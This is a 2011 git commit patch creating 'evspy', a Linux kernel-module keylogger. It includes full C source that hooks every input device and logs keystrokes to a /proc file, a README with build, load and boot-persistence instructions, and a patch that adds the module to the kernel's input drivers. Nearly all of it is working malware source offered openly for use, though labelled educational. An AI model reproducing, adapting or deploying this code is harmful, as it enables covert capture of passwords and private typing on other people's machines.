From 0984403a3dccd78faf0ce790ca7929927cc07349 Mon Sep 17 00:00:00 2001 From: Guillermo Ramos Date: Fri, 9 Sep 2011 16:26:08 +0200 Subject: First github commit --- Makefile | 7 ++ README | 47 +++++++++++ TODO | 4 + evspy.c | 272 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ evspy.h | 71 ++++++++++++++++ evspy.patch | 31 +++++++ maps.h | 37 +++++++++ 7 files changed, 469 insertions(+) create mode 100644 Makefile create mode 100644 README create mode 100644 TODO create mode 100644 evspy.c create mode 100644 evspy.h create mode 100644 evspy.patch create mode 100644 maps.h diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..7e403d9 --- /dev/null +++ b/Makefile @@ -0,0 +1,7 @@ +obj-m += evspy.o + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean diff --git a/README b/README new file mode 100644 index 0000000..cbc8d2f --- /dev/null +++ b/README @@ -0,0 +1,47 @@ +** INTRO ** + +Evspy is a general purpose kernel-mode keylogger in (early) development stage. + +The file from where you can read the registered keystrokes is /proc/driver/evspy +by default. Only root can read it. Beware users: evspy can troll you. + +Don't be evil. + + +** COMPILE ** + + $ make + + +** LOAD ** + + # insmod evspy.ko + + +** UNLOAD ** + + # rmmod evspy + + +** IS IT ALREADY LOADED? ** + + $ lsmod | grep evspy + + +** PERSISTENCE ** + +If you want evspy to be loaded every time system boots, copy it into your +kernel module dir: + + # cp evspy.ko /lib/modules/$(uname -r)/kernel/drivers/input/evspy.ko + +and update module database: + + # depmod -a + +(In some distros it could also be necessary to add it to some rc/config file) + +Once it has been installed, you can load it when you want with + + # modprobe evspy + diff --git a/TODO b/TODO new file mode 100644 index 0000000..7303bf8 --- /dev/null +++ b/TODO @@ -0,0 +1,4 @@ +* Fix backspace key (do not erase special key events) - Prio:Medium +* Implement 2nd mapping (shift) - Prio:Medium +* Take a look at kernel's circular list API - Prio:Low +* Which FX key has been pressed? - Prio:None diff --git a/evspy.c b/evspy.c new file mode 100644 index 0000000..39e87f3 --- /dev/null +++ b/evspy.c @@ -0,0 +1,272 @@ +/* + * Copyright (c) 2011 Guillermo Ramos <0xwille@gmail.com> + * based on evbug module by Vojtech Pavlik ((c) 1999-2001) + */ + +/* + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + * + * Should you need to contact me, the author, you can mail your message to + * <0xwille@gmail.com> + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "evspy.h" + + +static char *buffer; // circular buffer +static char *rdp; // read pointer +static char *wrp; // write pointer +static char *map = EVS_MAP; // current keyboard layout +static unsigned int capslock_state = EVS_VAL_FREE; + +// This is how special keys will be displayed (+: pressed / -: freed) +static char sp_tag[] = "<+XXX>"; + +/* + * Executed when the procfs file is read (EVS_PROCNAME) + */ +int evspy_read_proc(char *page, char **start, off_t offset, int count, + int *eof, void *data) +{ + int n, toend; + int retval = 0; + int diff = wrp - rdp; + + // root only plz + if (current_uid() || current_euid()) { +#if EVS_TROLL == 1 + n = MIN(36, count); + strncpy(page, "Trololololo lololo lololo\nhohohoho\n", n); + *eof = 1; + return n; +#else + return -EPERM; +#endif + } + + // wrp > rdp: read from rdp to wrp + if (diff > 0) { + n = MIN(diff, count); + strncpy(page, rdp, n); + rdp += n; + retval = n; + + // rdp > wrp: read from rdp to end of buffer and then from the beginning of + // the buffer to wrp + } else if (diff < 0) { + toend = (buffer + EVS_BUFSIZE) - rdp; + n = MIN(toend, count); + strncpy(page, rdp, n); + retval = n; + + if (n < toend) { + rdp += n; + } else { + n = MIN(wrp - buffer, count - retval); + strncpy(page + retval, buffer, n); + retval += n; + rdp = buffer + n; + } + } + + // wrp == rdp: buffer is empty + if (rdp == wrp) + *eof = 1; + return retval; +} + +/* + * Handle unknown/special key events + */ +static void special_char(unsigned int code, unsigned int value) +{ + int i; + int known = 1; + + // We need to know when some special keys are freed; add them here + switch(code) { + case KEY_LEFTSHIFT: + case KEY_RIGHTSHIFT: + case KEY_LEFTALT: + case KEY_RIGHTALT: + case KEY_LEFTCTRL: + case KEY_RIGHTCTRL: + break; + default: + if (value == EVS_VAL_FREE) + return; + } + + switch(code) { + case KEY_RIGHTSHIFT: + case KEY_LEFTSHIFT: + strncpy(sp_tag+2, "SFT", 3); + break; + case KEY_LEFTALT: + strncpy(sp_tag+2, "ALT", 3); + break; + case KEY_RIGHTALT: + strncpy(sp_tag+2, "AGR", 3); + break; + case KEY_LEFTCTRL: + case KEY_RIGHTCTRL: + strncpy(sp_tag+2, "CTR", 3); + break; + case KEY_TAB: + strncpy(sp_tag+2, "TAB", 3); + break; + case KEY_ESC: + strncpy(sp_tag+2, "ESC", 3); + break; + case KEY_UP: + strncpy(sp_tag+2, " ^ ", 3); + break; + case KEY_DOWN: + strncpy(sp_tag+2, " v ", 3); + break; + case KEY_LEFT: + strncpy(sp_tag+2, " < ", 3); + break; + case KEY_RIGHT: + strncpy(sp_tag+2, " > ", 3); + break; + default: + known = 0; + } + + if (!known && evs_isfX(code)) + strncpy(sp_tag+2, "F??", 3); + else if (!known) + return; + + if (value == EVS_VAL_PRESS) + sp_tag[1] = '+'; + else if (value == EVS_VAL_FREE) + sp_tag[1] = '-'; + + for (i = 0; i < sizeof(sp_tag) - 1; i++) + evs_insert(sp_tag[i]); +} + +static void evspy_event(struct input_handle *handle, unsigned int type, + unsigned int code, int value) +{ + // Ignore hold-key events + if (unlikely(value == EVS_VAL_HOLD)) + return; + + // If caps lock is pressed, handle it the same way as left shift + if (code == KEY_CAPSLOCK && value == EVS_VAL_PRESS) { + capslock_state = !capslock_state; + special_char(KEY_LEFTSHIFT, capslock_state); + return; + } else if (type != EV_KEY || unlikely(code >= sizeof(EVS_MAP))) { + return; + } + + // Special/unknown keys (alt, ctrl, esc, mayus, etc) + if (map[code] == '.' && likely(code != KEY_DOT)) + special_char(code, value); + + // "Direct" keys (alphanumeric + some symbols) + else if (value == EVS_VAL_PRESS) + evs_insert(map[code]); +} + +static int evspy_connect(struct input_handler *handler, struct input_dev *dev, + const struct input_device_id *id) +{ + struct input_handle *handle; + int error; + + handle = kzalloc(sizeof(struct input_handle), GFP_KERNEL); + if (!handle) + return -ENOMEM; + + handle->dev = dev; + handle->handler = handler; + handle->name = EVS_NAME; + + error = input_register_handle(handle); + if (error) + goto err_free_handle; + + error = input_open_device(handle); + if (error) + goto err_unregister_handle; + + return 0; + + err_unregister_handle: + input_unregister_handle(handle); + err_free_handle: + kfree(handle); + return error; +} + +static void evspy_disconnect(struct input_handle *handle) +{ + input_close_device(handle); + input_unregister_handle(handle); + kfree(handle); +} + +static const struct input_device_id evspy_ids[] = { + { .driver_info = 1 }, /* Matches all devices */ + { }, /* Terminating zero entry */ +}; + +MODULE_DEVICE_TABLE(input, evspy_ids); + +static struct input_handler evspy_handler = { + .event = evspy_event, + .connect = evspy_connect, + .disconnect = evspy_disconnect, + .name = EVS_NAME, + .id_table = evspy_ids, +}; + +static int __init evspy_init(void) +{ + create_proc_read_entry(EVS_PROCNAME, 0, NULL, evspy_read_proc, NULL); + buffer = kmalloc(EVS_BUFSIZE, GFP_KERNEL); + rdp = buffer; + wrp = buffer; + return !buffer || input_register_handler(&evspy_handler); +} + +static void __exit evspy_exit(void) +{ + kfree(buffer); + remove_proc_entry(EVS_PROCNAME, NULL); + input_unregister_handler(&evspy_handler); +} + +module_init(evspy_init); +module_exit(evspy_exit); + +MODULE_AUTHOR("Guillermo Ramos <0xwille@gmail.com>"); +MODULE_DESCRIPTION("Event based keylogger"); +MODULE_LICENSE("GPL"); +MODULE_VERSION("0.1"); diff --git a/evspy.h b/evspy.h new file mode 100644 index 0000000..3df0c9e --- /dev/null +++ b/evspy.h @@ -0,0 +1,71 @@ +#include +#include +#include "maps.h" + +#define EVS_NAME "evspy" // driver name +#define EVS_MAP map_es // change this to your keyboard layout +#define EVS_TROLL 1 // clear this if you're a serious guy +#define EVS_BUFSIZE PAGE_SIZE // size of the circular buffer (4K) +#define EVS_PROCNAME "driver/" EVS // virtual file within /proc + +#define MIN(x, y) (x) < (y) ? (x) : (y) + +/* + * If pointer is at the end of buffer, put it at the beginning. + * If not, simply add 1 to it. + */ +#define evs_incp(p) \ +({ \ + if (p == &buffer[EVS_BUFSIZE-1]) \ + p = buffer; \ + else \ + p++; \ + p; \ +}) + +/* + * Same as evs_incp but backwards + */ +#define evs_decp(p) \ +({ \ + if (p == buffer) \ + p = &buffer[EVS_BUFSIZE-1]; \ + else \ + p--; \ + p; \ +}) + +/* + * Insert character c where wrp is pointing and move it to the next char. + * If rdp == wrp, increase rdp too. + */ +#define evs_insert(c) \ +({ \ + *wrp = c; \ + if (evs_incp(wrp) == rdp) \ + evs_incp(rdp); \ +}) + +/* + * Remove a character from the buffer + */ +#define evs_delete() \ +({ \ + if (wrp != rdp && evs_decp(wrp) == rdp) \ + evs_decp(rdp); \ +}) + +/* + * Is the c event code associated to any of the FX buttons? + */ +#define evs_isfX(c) \ +({ \ + (c >= KEY_F1 && c <= KEY_F10) || \ + (c == KEY_F11 || c == KEY_F12) || \ + (c >= KEY_F13 && c <= KEY_F24); \ +}) + +// Event values +#define EVS_VAL_FREE 0 +#define EVS_VAL_PRESS 1 +#define EVS_VAL_HOLD 2 diff --git a/evspy.patch b/evspy.patch new file mode 100644 index 0000000..916f52b --- /dev/null +++ b/evspy.patch @@ -0,0 +1,31 @@ +diff --git a/drivers/input/Kconfig b/drivers/input/Kconfig +index 23e82e4..ac4889a 100644 +--- a/drivers/input/Kconfig ++++ b/drivers/input/Kconfig +@@ -149,6 +149,14 @@ config INPUT_EVBUG + To compile this driver as a module, choose M here: the + module will be called evbug. + ++config INPUT_EVSPY ++ tristate "Event based keylogger" ++ help ++ This is an experimental keylogger made for educational purposes ++ ++ To compile this driver as a module, choose M here: the ++ module will be called evspy. ++ + config INPUT_APMPOWER + tristate "Input Power Event -> APM Bridge" if EXPERT + depends on INPUT && APM_EMULATION +diff --git a/drivers/input/Makefile b/drivers/input/Makefile +index 0c78949..00c8429 100644 +--- a/drivers/input/Makefile ++++ b/drivers/input/Makefile +@@ -15,6 +15,7 @@ obj-$(CONFIG_INPUT_MOUSEDEV) += mousedev.o + obj-$(CONFIG_INPUT_JOYDEV) += joydev.o + obj-$(CONFIG_INPUT_EVDEV) += evdev.o + obj-$(CONFIG_INPUT_EVBUG) += evbug.o ++obj-$(CONFIG_INPUT_EVSPY) += evspy.o + + obj-$(CONFIG_INPUT_KEYBOARD) += keyboard/ + obj-$(CONFIG_INPUT_MOUSE) += mouse/ diff --git a/maps.h b/maps.h new file mode 100644 index 0000000..91531aa --- /dev/null +++ b/maps.h @@ -0,0 +1,37 @@ +/* + * ## KEYBOARD LAYOUT MAPS ## + * + * Each map is an array where the content of each position is the key value + * associated with the event code (index). An special/unknown key is represented + * as a dot ('.'). The dot key itself has its own macro (KEY_DOT). + * + * By the moment, evspy does not support non-ascii characters. + * + * Select your map with EVS_MAP macro in evspy.h + */ + +// Spanish +static char map_es[] = { + '.', '.', '1', '2', '3', //0 // 1:ESC + '4', '5', '6', '7', '8', //5 + '9', '0', '\'', '!', '\b', //10 // 13:¡ (NOASCII) 14:BACKSPACE + '.', 'q', 'w', 'e', 'r', //15 // 15:TAB + 't', 'y', 'u', 'i', 'o', //20 + 'p', '`', '+', '\n', '.', //25 // 29:LCTRL + 'a', 's', 'd', 'f', 'g', //30 + 'h', 'j', 'k', 'l', 'n', //35 // 39:ñ (NOASCII) + '\'', '.', '.', 'c', 'z', //40 // 42:LMAYUS 43:ç (NOASCII) + 'x', 'c', 'v', 'b', 'n', //45 + 'm', ',', '.', '-', '.', //50 // 52:. 54:RMAYUS + '*', '.', ' ', '.', '.', //55 // 56:ALT 58:BLKMAYUS 59-68:F1-F10 + '.', '.', '.', '.', '.', //60 + '.', '.', '.', '.', '.', //65 + '.', '7', '8', '9', '-', //70 + '4', '5', '6', '+', '1', //75 + '2', '3', '.', '.', '.', //80 + '.', '<', '.', '.', '.', //85 + '.', '.', '.', '.', '.', //90 + '.', '\n', '.', '/', '.', //95 // 97:RCTRL + '.', '.', '.', '.', '.', //100 // 100:ALTGR 103:up_arrow + '.', '.', '.', '.', '.', //105 // 105:l_arrow 106:r_arrow 108:dwn_arrow +}; -- cgit v1.2.3